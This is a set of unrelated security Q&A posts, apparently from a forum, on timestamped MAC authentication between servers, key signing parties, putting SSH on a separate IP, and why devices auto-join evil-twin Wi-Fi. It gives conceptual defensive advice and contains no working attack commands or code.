You have to make sure that both servers have accurate clocks; use NTP. Also, make sure that you use a well-defined representation, i.e. something in UTC (otherwise, you'll run into trouble with Daylight Saving Time).
The "5-second delay" must be enough to accommodate the round trip: server A sends the "redirect" response to the client, then the client connects to B and sends the request. If the client is in adverse conditions (e.g. a client using a laptop in a train), network can be unavailable for a few seconds at a time.

Replay attacks from outsiders are prevented by SSL; the inclusion of the time stamp is to defeat replay attacks by the user himself. If server B requires a time stamp no older than n seconds, then this implies that if you block access to the user on A, then the user may still talk to B for n seconds. You can probably tolerate a longer n; personally, I'd use a 5 minutes delay. Another way to look at it is the following: if, once authentication was performed, B allows successive requests within a given time frame T, e.g. with a cookie-based session management and the session expires after T seconds, then it makes relatively little sense to use a n much shorter than T.

Note that an evil user may want to fake NTP packets in order to make server B's clock go back to the past, in order to reuse an old authentication URL with a long-expired MAC. NTP packets are not authenticated. A normal NTP client will not accept to alter its clock by considerable amounts even if a NTP server claims that it is off by several weeks; however, a boot-time ntpdate call may be theoretically abused. I have not observed this attack in practice.

Suggestions for improvements:

You may want to include an identifiers for A and B (e.g. server names) in the redirect URL, and as part of the MAC input. This keeps track of who is doing the authentication+authorization, and for what server the user is authorized. This is more flexible if you want to later expand the system with several distinct A and B servers.
You can replace the MAC by a digital signature (RSA, DSA...): server A owns the private key and uses it to sign; server B uses A's public key to verify signatures. This avoids sharing a secret between A and B (the more a secret is shared, the less secret it becomes).


Are there any actual disadvantages to a key signing party? At the beginning of the year staff are required to attend a key signing party - after changing their keys. They are required to bring said keys on USB sticks, at the end of the party each member of staff should have a copy of each others key. There is a workstation available at the end too.

See, for me I can't see any disadvantages that couldn't be easily amended, such as forgetting their key, or forgetting to create a fresh key, they could both be easily solved within half an hour. Is there any reason to amend this? Is there a more secure/easier way to pass around public keys to one another?

Key Signing Party is not just about random character generation and computers. It's about the chain of trust you create/strengthen  by showing your key with a document of yours(and that is valid inside your country, of course).

The question here is: The person KNOWS that will have a key signing party and it does not bring a key or forget to generate one? That is something to worry about, cause there is a level of stupidity that is very high on this person, or he is not aware(even doesn't care) about the event.

Second. The "no computer" rule is another item inside the chain of trust that this kind of event creates: Key signing parties themselves generally do not involve computers, since that would give adversaries increased opportunities for subterfuge. And usb sticks can be easily replaced by attackers the same way a notebook could be turned on with the "hey bro, lemme generate another key cause i forgot mine" breaking the trust.

So, your company is already playing wrong by using massive external storage to exchange keys on a workstation. Unless everyone is looking at the monitor while the fingerprints are transcript to a text file/word document/whatever one by one, i would not TRUST on the members of this party.

tl,dr: If this party will be done with USB sticks, it's better that everyone give the keys fingerprint to your HR(or other management staff trusted by your company board members), and then, they distribute those fingerprints to your team. There are no disvantages on key signing parties, unless there is a computer involved(or document forgery, but that is a matter for parties where nobody knows each other, what is pretty difficult).


Should I use a second/dedicated IP address for SSH? When running a public web server (e.g., with Apache), I've heard it's recommended to bind SSH to a second IP address, different from the one Apache is listening to.

But for me it seems like this is only a matter of obfuscation - once an attacker knows the second IP address, the situation would be the same as with a single IP address.

Am I right? Or are there any other benefits of using a second IP address except for obfuscation?

Unless that IP address belongs to a dedicated management network which implements additional security, it is a waste of resources.

Both IPs are, obviously, ending up on the same server. This means that, unless they come in through different networks (i.e. a management network that implements additional protection), there will be no difference locally between a connection to SSH going on one IP or the other: you can firewall these exactly in the same way (if you want) and it doesn't make any more or less obvious in the logs.

The only thing you're "hiding" is the relation between the SSH server and the web server and, unless you have very poor procedure for picking up account names, then it shouldn't matter.

If you're using a dedicated management network, however, it's a different matter: such a network could require all connections to go though a secure authentication phase and impose extra limitation on the conneting party (for instance, you can require them to be physically connected to the network, or go through a VPN requiring 2FA and making sure your client is "clean").


Why do Wifi connections to evil twins happen? It seems to me that one of the major flaws of Wifi is that computers will auto-reconnect to a Wifi that merely has the same name as one you connected to in the past i.e. an evil twin. While perusing log files I've seen this happen and it is a surprising design flaw. There ought to be something more substantial than just an access point name to authenticate a Wifi router as being one that the computer spoke with in the past. Why does Wifi auto-reconnect based on only the access point name? Why isn't there a shared secret?
UPDATE
I should describe what I saw that made me ask this question.

I was on a train at one point, I can't remember the country, I had come from an airport where I'd
been in a lounge that had free Wifi, no password, but there was a "captive portal" login screen.
I noticed on the
train, which was by then far from the airport, that my computer Wifi
had once again connected to the airport lounge Wifi.
I checked the log and
indeed, a "fake" Wifi hotspot with the same name but a different MAC
address was there and DHCP had provided me with an IPv4 address.

There ought to be something more substantial than just an access point name to authenticate a Wifi router ...

The name of the AP is not used to authenticate the AP against the client at all, it is only used to identify possible known networks.

Why isn't there a shared secret?

Because there is one. The password as used in most common setups is not only used to authenticate the client against the AP but also the AP against the client: the connection will only succeed if both have the same shared secret. Within enterprise setups there are also certificates for authentication involved.